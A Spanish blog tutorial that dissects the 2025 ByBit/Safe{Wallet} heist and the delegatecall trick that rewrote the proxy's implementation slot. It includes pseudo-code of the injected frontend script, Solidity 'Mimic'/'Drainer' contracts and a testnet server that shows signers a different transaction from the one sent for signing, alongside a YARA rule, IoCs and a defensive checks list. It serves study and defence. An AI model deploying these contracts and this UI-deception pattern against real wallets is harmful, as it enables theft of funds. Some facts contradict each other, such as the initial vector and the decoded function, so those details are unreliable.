Saltar al contenido
Volver al Blog

tutoriales · 18 min de lectura

ByBit / Safe{Wallet}: cómo Lazarus robó $1.5B cambiando un flag de operation=0 a operation=1

El 21 de febrero de 2025, TraderTraitor exfiltra 401.347 ETH de la cold wallet de ByBit. El multi-sig no tiene bug, la blockchain tampoco: lo que se rompe es la cadena de visualización. JavaScript inyectado en app.safe.global desde un developer machine de Safe comprometido por un Docker malicioso 17 días antes. El firmante ve transferencia rutinaria; lo que firma es un delegatecall que reescribe el slot 0 del proxy.

· Manuel López Pérez · tutoriales

El 21 de febrero de 2025, TraderTraitor exfiltra 401.347 ETH de la cold wallet de ByBit. El multi-sig no tiene bug, la blockchain tampoco: lo que se rompe es la cadena de visualización. JavaScript inyectado en app.safe.global desde un developer machine de Safe comprometido por un Docker malicioso 17 días antes. El firmante ve transferencia rutinaria; lo que firma es un delegatecall que reescribe el slot 0 del proxy.

El 21 de febrero de 2025, TraderTraitor (cluster norcoreano dentro de Lazarus) vacía la cold wallet de Ethereum de ByBit: 401.347 ETH, equivalentes a unos $1.5B al precio del día. Es el mayor robo de criptomonedas registrado. El FBI lo atribuye formalmente el 26-feb a la República Popular Democrática de Corea.

El multi-sig no tiene bug. La blockchain tampoco. Los firmantes no caen en phishing tradicional. Lo que se rompe es la cadena de visualización entre lo que el smart contract va a ejecutar y lo que el humano firmante ve. JavaScript inyectado en app.safe.global muestra al firmante una transferencia rutinaria; la calldata que firma es un delegatecall a un contrato controlado por el atacante que reescribe el implementation address del proxy multi-sig. Un solo flag, operation=0operation=1, quita el aislamiento de ejecución y entrega control sobre la cold wallet.

Lectura: trabajo sobre los post-mortem técnicos de Sygnia, Verichains y NCC Group, el comunicado oficial de Safe y el advisory del FBI del 26-feb. PoC propio en testnet Sepolia que reproduce la divergencia entre UI y calldata firmada — sin tráfico contra terceros, sin víctima.

Lo que pasó, en una frase

Atacantes con acceso al bucket S3 que sirve app.safe.global reemplazan un único archivo JavaScript (_app-52c9031bfa03da47.js) con código que detecta cuando el firmante es la dirección del cold wallet de ByBit, intercepta la transacción que el usuario quiere proponer, y la sustituye antes de pasarla a la wallet hardware. El firmante en Ledger ve hash + parámetros básicos (to, value, data) en formato hexadecimal que no es legible sin clear signing, asume que la UI representa correctamente la operación, y aprueba. Otros dos firmantes hacen lo mismo en secuencia. La transacción que ejecuta el multi-sig 3-of-N pasa el threshold, llega a la blockchain, y la cold wallet acaba de ceder control de su implementation a un contrato del atacante.

Dos minutos después, los atacantes reemplazan el JavaScript malicioso por el original. Apenas hay rastro en el frontend. La forensia se hace sobre on-chain + AWS access logs.

La pieza vulnerable: Safe{Wallet} como UI delegada

ByBit usa Safe{Wallet} (antes Gnosis Safe) para custodiar su cold wallet de Ethereum bajo esquema multi-sig. El contrato es el Gnosis Safe proxy estándar en 0x1Db92e2EeBC8E0c075a02BeA49a2935BcD2dFCF4. La signing UI que usan los operadores de ByBit es la versión hosted oficial de Safe, en app.safe.global, servida desde un bucket S3 controlado por Safe Ecosystem Foundation.

Importante: el contrato Safe no se compromete. El contrato es on-chain, inmutable, sin bug conocido. Lo que cede es el frontend hosted, la web app a la que el firmante apunta su navegador para componer la transacción.

Para un firmante que opera una multi-sig de cientos de millones, eso ya es la decisión peligrosa: la UI que muestra “qué se va a firmar” es código JavaScript servido desde una infraestructura cuya cadena de suministro no controla el firmante. Cualquiera con acceso al deploy del frontend tiene capacidad de intercalar entre el firmante y su wallet hardware.

Fase 1 — Compromiso del developer machine (4-feb-2025)

Según el informe forense de Sygnia del 26-feb-2025, la cadena empieza con un macOS workstation de un developer de Safe (referenciado como “Developer1”).

El 4 de febrero a las 19:05:44 UTC Developer1 inicia tráfico hacia el dominio getstockprice[.]com desde un proyecto Docker llamado MC-Based-Stock-Invest-Simulator-main presente en ~/Downloads. El patrón es la TTP firmada de TraderTraitor: trabajo legítimo aparente — un proyecto open-source de “simulador de inversión en bolsa” — que esconde un loader. Una vez ejecutado el Docker, el host queda comprometido con persistencia local y exfiltración de credenciales.

Lo que TraderTraitor obtiene del host:

  • AWS session tokens activos (no la clave master; los tokens STS con caducidad).
  • Cookies del navegador, incluido lo necesario para mantener sesión en consola AWS y en Slack/email de Safe.
  • Documentación interna sobre el flujo de deploy del frontend de Safe.

Lo que no obtienen — y esto es la pieza interesante: una vía para añadir su propio dispositivo MFA al perfil IAM de Developer1. Sygnia confirma que Safe tiene MFA enforced en STS con re-autenticación cada 12 horas. La estrategia de TraderTraitor: no añadir MFA propio (eso activaría una alerta), sino secuestrar la sesión activa que el malware del host ya tiene y trabajar con esa.

Fase 2 — Persistencia en AWS sin nueva MFA (5-feb a 21-feb)

Durante 16 días los atacantes operan dentro del entorno AWS de Safe usando el hijacked session token del developer. Detalles operativos:

  • Origen de las conexiones: IPs de ExpressVPN, user-agent Kali Linux. Tráfico aparentemente residencial, no nodo Tor.
  • Patrón temporal: ajustan horario de trabajo al horario habitual de Developer1 (timezone, días laborables). Sygnia comenta que esto sugiere “OPSEC deliberado” — la estrategia es no parecer distinto del legitimate user, no esconderse en horarios inhabituales.
  • Refresh del session token: cada vez que el token está cerca de expirar, los atacantes lo refrescan desde el host comprometido aprovechando una refresh window donde MFA no se re-solicita. Sygnia no detalla la primitiva exacta pero deja claro que mientras el host de Developer1 siga vivo, la sesión también.

Durante esos 16 días los atacantes hacen reconocimiento del entorno AWS de Safe: identifican el bucket S3 que sirve app.safe.global, los CloudFront distributions delante, los pipelines de CI/CD que regeneran el bundle JavaScript, y los firmantes habituales de las multi-sigs grandes a través de la propia UI de Safe (que es pública).

ByBit es el target obvio: la mayor multi-sig por TVL sobre Ethereum, con patrón de transacciones predecible desde la cold wallet hacia la hot wallet de operación semanal.

Fase 3 — La inyección de JavaScript (19-feb-2025, 15:29:25 UTC)

El 19 de febrero a las 15:29:25 UTC los atacantes reemplazan el archivo _app-52c9031bfa03da47.js en el bucket S3. La modificación no toca el bundle completo: añaden un bloque de JavaScript que solo actúa bajo condiciones específicas. Sygnia y NCC Group describen el código (sin publicar el archivo malicioso completo).

Pseudo-código simplificado del payload:

// Inyectado en el bundle existente de app.safe.global
const TARGET_SIGNERS = [
  '0x1Db92e2EeBC8E0c075a02BeA49a2935BcD2dFCF4', // ByBit cold wallet proxy
  '0x...', // segunda dirección no identificada
];

const originalProposeTransaction = WalletSDK.proposeTransaction;

WalletSDK.proposeTransaction = async function (tx) {
  const isTarget = TARGET_SIGNERS.includes(tx.safeAddress);
  if (!isTarget) {
    return originalProposeTransaction.call(this, tx);
  }

  // 1. Guardar la transacción original que el usuario quiere firmar
  const originalTx = { ...tx };

  // 2. Sustituir por la transacción del atacante: execTransaction
  //    con delegatecall al contrato del atacante
  tx.to = '0x96221423681A6d52E184D440a8eFCEbB105C7242';
  tx.value = '0';
  tx.data = encodeMaliciousCall(); // transfer(0xbDd077f6..., 0)
  tx.operation = 1; // 1 = delegatecall, no 0 = call

  // 3. Pasar a la wallet hardware la TX maliciosa para firma
  const signature = await originalProposeTransaction.call(this, tx);

  // 4. Devolver al UI los datos de la transacción ORIGINAL,
  //    de forma que la "transaction proposed" que el usuario ve
  //    coincida con lo que pidió firmar
  return { ...originalTx, signature };
};

La pieza clave es el flag operation. En Safe smart contract, execTransaction(...) acepta un parámetro operation con valores:

  • 0 = CALL — invocación normal a to. El contexto de storage del proxy queda aislado de to.
  • 1 = DELEGATECALLto ejecuta su código dentro del contexto de storage del proxy. Lo que to escriba en storage, se escribe sobre el storage del proxy.

Para movimientos de fondos rutinarios (transfer de tokens) el flag correcto es 0. La transferencia se contiene en el contrato del token. Si el firmante cambia ese flag a 1, cede el control de la storage del propio multi-sig al destino.

Fase 4 — La transacción maliciosa firmada

La transacción que finalmente se firma y ejecuta el 21-feb-2025 a las 14:13:35 UTC tiene los parámetros siguientes (decodificados de la calldata on-chain):

Target Safe proxy:    0x1Db92e2EeBC8E0c075a02BeA49a2935BcD2dFCF4 (ByBit cold wallet)
Function:             execTransaction(...)
to:                   0x96221423681A6d52E184D440a8eFCEbb105C7242 (attacker contract A)
value:                0
data:                 transfer(0xbDd077f651EBe7f7b3cE16fe5F2b025BE2969516, 0)
operation:            1   (DELEGATECALL)
safeTxGas:            0
baseGas:              0
gasPrice:             0
gasToken:             0x0000000000000000000000000000000000000000
refundReceiver:       0x0000000000000000000000000000000000000000
signatures:           <3 firmas válidas de los owners>

El truco del atacante en el contrato A (0x96221423...):

// Pseudocódigo aproximado del contrato del atacante
contract MaliciousImpl {
    // Misma signature que ERC20 transfer, pero el cuerpo es diferente
    function transfer(address _to, uint256 _value) external returns (bool) {
        // Como esto se invoca por delegatecall desde el proxy de Safe,
        // assembly { sstore(0, _to) } reescribe el slot 0 del PROXY
        assembly {
            sstore(0, _to)
        }
        return true;
    }
}

La función se llama transfer(address,uint256) para que una decodificación naive de la calldata haga creer que es un ERC20 transfer rutinario. Lo que hace en realidad: SSTORE(0, _to) con _to = 0xbDd077f6.... En el contrato proxy de Gnosis Safe, el slot 0 es la dirección del implementation (el master copy que el proxy delega).

Al ejecutarse por delegatecall, el SSTORE se aplica sobre la storage del proxy, no del contrato A. El proxy de la cold wallet de ByBit acaba con 0xbDd077f651EBe7f7b3cE16fe5F2b025BE2969516 como su nueva implementation. A partir de ese momento, todas las llamadas al proxy se delegan al contrato B controlado por el atacante.

El contrato B (la new implementation) ya no es una multi-sig: es un contrato escueto que expone funciones tipo sweepETH(address) y sweepERC20(address,address) ejecutables por una dirección hardcoded del atacante. Sin owners, sin threshold, sin firma. La lógica está reescrita.

En las transacciones siguientes — minutos después — el atacante invoca sweepETH para transferir los 401.347 ETH del proxy a sus direcciones de recepción. Adicionalmente, varios stETH y mETH también caen, sumando $1.5B totales.

Fase 5 — Limpieza (21-feb-2025, 14:15 UTC)

Dos minutos después del éxito de la transacción, los atacantes reemplazan en S3 el archivo _app-52c9031bfa03da47.js por su versión original benigna. El comportamiento del frontend vuelve a ser correcto.

Por qué importa la limpieza rápida: si el JavaScript malicioso hubiera quedado en producción, otra multi-sig grande podría haber disparado el mismo flujo en horas. La surgical retirada minimiza el blast radius a una sola víctima — ByBit — y deja casi cero forense en el frontend.

Cuando Safe inicia incident response (alertados por ByBit hacia las 14:30 UTC), el JavaScript ya está limpio. La forensia se hace sobre los AWS access logs de S3 (visible la modificación del 19-feb a las 15:29 y la del 21-feb a las 14:15, ambas desde IPs de ExpressVPN) y sobre los JS bundles cacheados en CDN que algunos usuarios todavía tienen.

Por qué funcionó — el problema estructural

La cadena se rompe en un punto único: el firmante humano no puede verificar localmente lo que está firmando.

Las Ledger Nano X que ByBit usa para los firmantes muestran, en su pantalla pequeña, el hash de la transacción (safeTxHash) y los parámetros básicos: to, value, data (truncado o en hex). No decodifican data ni interpretan el flag operation. El firmante depende del frontend para saber qué es esa calldata.

Esto se llama blind signing: la wallet enseña lo justo para verificar que firma algo, pero no qué hace ese algo. La alternativa es clear signing — la wallet decodifica la calldata usando ABIs conocidos y muestra “transfer 0.1 ETH to 0xfriend” o “execTransaction with delegatecall to 0xattacker”. Para que clear signing funcione contra contratos Safe, hace falta:

  1. Que la wallet conozca el ABI de Safe (Ledger lo soporta desde firmware reciente).
  2. Que la aplicación del Safe (la cadena Ledger Live → Safe app) esté actualizada y tenga el modo activo.
  3. Que el firmante use esa configuración — no la versión default de hex blind sign.

El Ethereum Foundation, Ledger, Trezor, MetaMask y WalletConnect anuncian post-hack un working group sobre un estándar abierto de clear signing para terminar con el blind sign por defecto. La respuesta de industria apunta al patrón estructural — visualización de la transacción — no a un bug particular.

La pregunta operativa para los operadores: cualquier multi-sig que hoy dependa de app.safe.global (u otro frontend hosted) tiene la misma superficie. La defensa pasa por simulación independiente de la transacción antes de firmar, en un canal distinto del que la propone — fortalecer la multi-sig o el hardware no resuelve el problema.

PoC propio en Sepolia — reproducir la divergencia UI ↔ calldata

El experimento no replica el frontend de Safe (no merece la pena el esfuerzo), sino el patrón: enseñar al firmante una cosa y pedirle firmar otra. Setup mínimo en testnet Sepolia, sin víctima.

Componentes

- Sepolia RPC: https://sepolia.infura.io/v3/<key>
- Foundry o Hardhat para compilar y desplegar contratos
- ledger-citrea-app-eth instalado en Ledger Nano X (firmware 2.4.x)
- node 20 + express para el "frontend" local

Paso 1 — Desplegar un Safe 1-of-1 en Sepolia

Para no liar tres firmantes, basta con un Safe 1-of-1 con master copy estándar. Usando el Safe deployment SDK:

cast send \
  --rpc-url $SEPOLIA_RPC \
  --private-key $OWNER_KEY \
  $SAFE_FACTORY \
  "createProxyWithNonce(address,bytes,uint256)" \
  $SAFE_SINGLETON_140 \
  $(cast calldata "setup(address[],uint256,...)" "[$OWNER]" 1 ...) \
  $(date +%s)

Resultado: un proxy en 0xLAB_SAFE. Cargarlo con 0.1 ETH desde un faucet de Sepolia.

Paso 2 — Desplegar el contrato atacante

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract Mimic {
    // Misma signature que ERC20.transfer
    function transfer(address _to, uint256 /* _value */) external returns (bool) {
        // Reescribe slot 0 del CALLER (que será el proxy via delegatecall)
        assembly {
            sstore(0, _to)
        }
        return true;
    }
}

contract Drainer {
    address public immutable attacker;
    constructor(address _attacker) { attacker = _attacker; }

    function sweep() external {
        require(msg.sender == attacker, "no");
        payable(attacker).transfer(address(this).balance);
    }
}

forge create Mimic y forge create Drainer --constructor-args $ATTACKER_WALLET. Anotar las direcciones 0xMIMIC y 0xDRAINER.

Paso 3 — “Frontend” local que miente

Express server que sirve dos cosas: una UI honesta para el operador y una calldata distinta para la wallet:

// server.js — extracto
import express from 'express';
import { ethers } from 'ethers';

const app = express();
app.use(express.json());

app.post('/propose', async (req, res) => {
  const { safeAddress } = req.body;

  // Lo que MOSTRAMOS al operador en la página HTML
  const displayed = {
    to: '0xRECIPIENT',
    value: ethers.parseEther('0.01'),
    data: '0x',
    operation: 0, // call normal
    description: 'Transferencia rutinaria 0.01 ETH',
  };

  // Lo que ENVIAMOS a la wallet hardware para firma
  const malicious = {
    to: '0xMIMIC',
    value: 0n,
    data:
      ethers.id('transfer(address,uint256)').slice(0, 10) +
      '000000000000000000000000' +
      '0xDRAINER'.slice(2).toLowerCase() +
      '0'.repeat(64),
    operation: 1, // DELEGATECALL
  };

  res.json({ ui: displayed, sign: malicious });
});

La página HTML del lado del operador renderiza displayed. La función JavaScript que invoca el Ledger usa malicious. La divergencia es la pieza del ataque ByBit en miniatura.

Paso 4 — Firmar con la Ledger y ver qué muestra

Con el Ledger Nano X en modo blind signing habilitado (el default histórico), la pantalla del dispositivo muestra:

Review transaction
To:    0xMIMIC...                   <— prefijo + sufijo, fácil de no notar
Data:  0xa9059cbb...                <— inicio del selector de transfer()
Value: 0 ETH
Review network fees

El operador, mirando solo la UI del navegador que dice “transferencia 0.01 ETH a 0xRECIPIENT”, aprueba sin notar la divergencia. El firmware no decodifica operation, no avisa que es delegatecall.

Con el Ledger Nano X en modo clear signing activo + Safe plugin instalado, la pantalla muestra:

WARNING: delegate call
This transaction will execute code from
  0xMIMIC...
in the context of YOUR SAFE.
Storage may be modified.

Continue?

Ese aviso es la única defensa local que tiene el firmante. Si lo ve y rechaza, no hay hack. Si confía en la UI del frontend y aprueba, todo lo demás del esquema multi-sig (M-of-N, hardware wallets, air-gap de los firmantes) ya no protege.

Paso 5 — Ejecutar y comprobar slot 0

Una vez firmada y enviada la transacción al execTransaction del Safe en Sepolia, leer el slot 0 del proxy:

cast storage 0xLAB_SAFE 0 --rpc-url $SEPOLIA_RPC
# Output (formato pseudo):
# 0x000000000000000000000000<DRAINER_ADDRESS_SIN_0x>

El implementation address del proxy ahora es 0xDRAINER. Cualquier llamada al proxy se delega ahí. El atacante invoca sweep() directamente desde su EOA, sin necesidad de la multi-sig — porque ya no hay multi-sig, el código del proxy ha cambiado. Los 0.1 ETH del lab se mueven.

El experimento en Sepolia entero gasta < 0.05 ETH de gas. La utilidad es entender, sin riesgo, qué firma exactamente una wallet en el patrón ByBit y por qué clear signing es el control que mata el ataque.

Detección y mitigación operativa

YARA — firma del payload JavaScript inyectado

Verichains publica un análisis estático del JS modificado en app.safe.global. Patrón replicable:

rule lazarus_bybit_safewallet_js_injection
{
    meta:
        ref         = "https://www.verichains.io/security-research/bybit-hack-1.5b-usd-analysis-and-prevention/"
        actor       = "Lazarus / TraderTraitor"
        description = "JS payload injected into app.safe.global on 2025-02-19"
    strings:
        $proxy_addr     = "0x1Db92e2EeBC8E0c075a02BeA49a2935BcD2dFCF4" ascii  // ByBit Safe proxy
        $attacker_impl  = "0xbDd077f651EBe7f7b3cE16fe5F2b025BE2969516" ascii  // malicious implementation
        $attacker_owner = "0x96221423681A6d52E184D440a8eFCEbB105C7242" ascii  // contract A
        $delegatecall  = "operation:1" ascii nocase
        $set_impl       = "setImplementation" ascii
        $cond_filter    = /if\s*\(\s*ownerAddress\s*===\s*['"]0x/ ascii  // filtro de targets
    condition:
        $proxy_addr or $attacker_impl or $attacker_owner or
        (2 of ($delegatecall, $set_impl, $cond_filter))
}

IoCs on-chain consolidados (Sygnia + Verichains + FBI IC3)

TipoIndicador
Safe proxy comprometido0x1Db92e2EeBC8E0c075a02BeA49a2935BcD2dFCF4 (ByBit cold wallet)
Contrato atacante (implementation)0xbDd077f651EBe7f7b3cE16fe5F2b025BE2969516
Contrato atacante (owner)0x96221423681A6d52E184D440a8eFCEbB105C7242
TX maliciosaBlock 21895241, 2025-02-21 14:13:35 UTC
Calldata firmada0x6a76... (función setImplementation(address)) — visible solo con clear-signing
Developer machine compromise4-feb-2025 19:05 UTC (vector: paquete npm malicioso)
JS injection en S319-feb-2025 15:29:25 UTC
Clean-up del JS21-feb-2025 14:15 UTC (2 min después de la TX)
FBI PSAI-022625-PSA, atribuye a TraderTraitor (DPRK)

Detección activa para teams multi-sig

// Snippet para integrar en propio frontend que valida ANTES de firmar:
async function validateSafeTransaction(safeTxHash, expectedCalldata) {
    // 1) Calcular hash localmente desde la calldata esperada
    const localHash = await computeSafeTxHash(expectedCalldata, ...);

    // 2) Comparar contra lo que el frontend dice firmar
    if (localHash !== safeTxHash) {
        throw new Error("DIVERGENCE: frontend hash differs from local computation");
    }

    // 3) Si operation=1 (DELEGATECALL), abortar salvo whitelist
    if (expectedCalldata.operation === 1) {
        const allowedTargets = ['0xKnownUpgrade1', '0xKnownUpgrade2'];
        if (!allowedTargets.includes(expectedCalldata.to)) {
            throw new Error("BLOCKED: delegatecall to non-whitelisted target");
        }
    }
}

Lecciones operativas:

  1. Clear signing obligatorio en todos los firmantes. Ledger con firmware ≥ 2.4 + Safe Eth app activa. MetaMask con simulación de Tenderly / Blockaid habilitada. Sin clear signing, el firmante está depositando confianza ciega en el frontend.
  2. Doble verificación independiente del payload. Antes de firmar, el operador toma el safeTxHash propuesto y lo decodifica en un cliente segundo (e.g., Etherscan Transaction Decoder, un script local con cast 4byte-decode, o un servicio como Tenderly Transaction Simulator). El segundo cliente debe coincidir con lo que el frontend dice; si no, parar.
  3. Bloqueo de operation=1 salvo upgrades planeados. Un policy guard añadido al Safe que rechace cualquier execTransaction con operation=1 salvo whitelist. Safe soporta Transaction Guards para esto. El delegatecall debería ser excepcional, no rutinario.
  4. Network monitoring del proxy — alerta cualquier cambio en el implementation slot (slot 0). Servicios de on-chain monitoring (Forta, Blockaid) tienen detectores específicos para Safe proxy upgrades.
  5. Air-gap del proceso de propuesta. La máquina que propone la transacción no debe ser la misma que firma. La que firma debe construir la transacción desde la raw transaction hash recibido por canal alternativo, no desde el JavaScript del frontend.
  6. Threat model del frontend de terceros. Si una operación dependiente de Safe gestiona >$10M, el frontend hosted oficial es un single point of failure aceptado pero documentado. Alternativas: deploy propio del frontend de Safe (es open-source), o cliente CLI puro (Safe CLI, Ape Safe).

Atribución y respuesta

  • 21-feb 14:13 UTC — ejecución de la transacción maliciosa.
  • 21-feb 14:15 UTC — JavaScript benigno restaurado en S3 (limpieza del atacante).
  • 22-feb — Ben Zhou (CEO ByBit) hace livestream público de dos horas confirmando el hack y solvencia 1:1 reservas. ByBit absorbe la pérdida.
  • 23-26 feb — Sygnia y Verichains publican informes forenses iniciales encargados por ByBit. Mandiant entra a apoyar.
  • 26-febFBI publica advisory PSA-250226 atribuyendo formalmente a la DPRK vía cluster TraderTraitor. Lista de direcciones Ethereum recomendadas para bloqueo por exchanges.
  • 26-febSafe publica timeline post-mortem reconociendo el compromiso del developer machine y la inyección en S3. Compromiso de rebuild de infraestructura y rotación completa de credenciales.
  • Marzo 2025 — el ETH robado se mueve a través de THORChain, DEXs, mixers y bridges cross-chain. Al 20 de marzo, Ben Zhou reporta que 86,29 % del ETH ya se ha convertido a BTC, 88 % del total sigue siendo trazable, $280M han entrado en mezcladores y se consideran “dark”.

Lo que esto deja para el resto de 2025

  • Cualquier multi-sig que dependa de un frontend hosted por terceros tiene la misma superficie. La pregunta operativa es qué clear signing tiene + qué doble verificación de payload + qué guard sobre delegatecall.
  • TraderTraitor sigue activo y reutiliza el mismo vector inicial — Docker projects maliciosos descargados por developers, especialmente desarrolladores cripto. La TTP es conocida desde 2022; sigue funcionando porque un developer concreto con acceso AWS basta para abrir la cadena.
  • El supply chain del frontend de Safe es ahora referencia industrial. Lo que aprendamos en post-mortems posteriores (sobre todo el de Safe del 26-feb) debería marcar cómo se diseñan despliegues de infraestructura sensible: zero-trust al developer machine, ephemeral STS sin posibilidad de hijack persistente, separación de roles entre quien escribe código y quien promociona a producción.

Referencias

Volver al Blog

Posts Relacionados

Ver Todos los Posts »
ByBit, un año después: clear signing, Guardrail y EIP-7702 — qué cambió en el ecosistema multi-sig

tutoriales · 16 min

ByBit, un año después: clear signing, Guardrail y EIP-7702 — qué cambió en el ecosistema multi-sig

El 21 de febrero de 2026 cumple un año el hack ByBit. Solo el 3,5 % de los $1.5B se ha congelado. Lo que sí cambió: Safe lanza Guardrail (agosto-2025) bloqueando DELEGATECALL no autorizado, EIP-7702 entra a mainnet con Pectra (mayo-2025), Ethereum Foundation toma el relevo de ERC-7730 desde Ledger y arrastra a Trezor / MetaMask / WalletConnect a un estándar abierto de clear signing. PoC actualizado en Sepolia que compara firma con y sin Guardrail+clear signing.

· Manuel López Pérez

Retrospectiva cyber 2025: cuatro casos que explican el año

tutoriales · 10 min

Retrospectiva cyber 2025: cuatro casos que explican el año

ByBit, la wave UK retail (M&S/Co-op/Harrods), SharePoint ToolShell y Windows 10 end-of-support. Cuatro incidentes con criterio explícito — no top exhaustivo, no ranking — y la lección operativa que cada uno deja para 2026.

· Manuel López Pérez

Windows 10 fin de soporte — el día después del 14 de octubre

tutoriales · 11 min

Windows 10 fin de soporte — el día después del 14 de octubre

El 14 de octubre de 2025 se acaban los parches gratuitos para Windows 10. Qué deja de recibir el sistema, qué ofrece el ESU consumer (gratis en la EEA, $30 fuera), cuánto cuesta a empresa y cuáles son las primeras CVE que vamos a ver explotadas contra la base instalada.

· Manuel López Pérez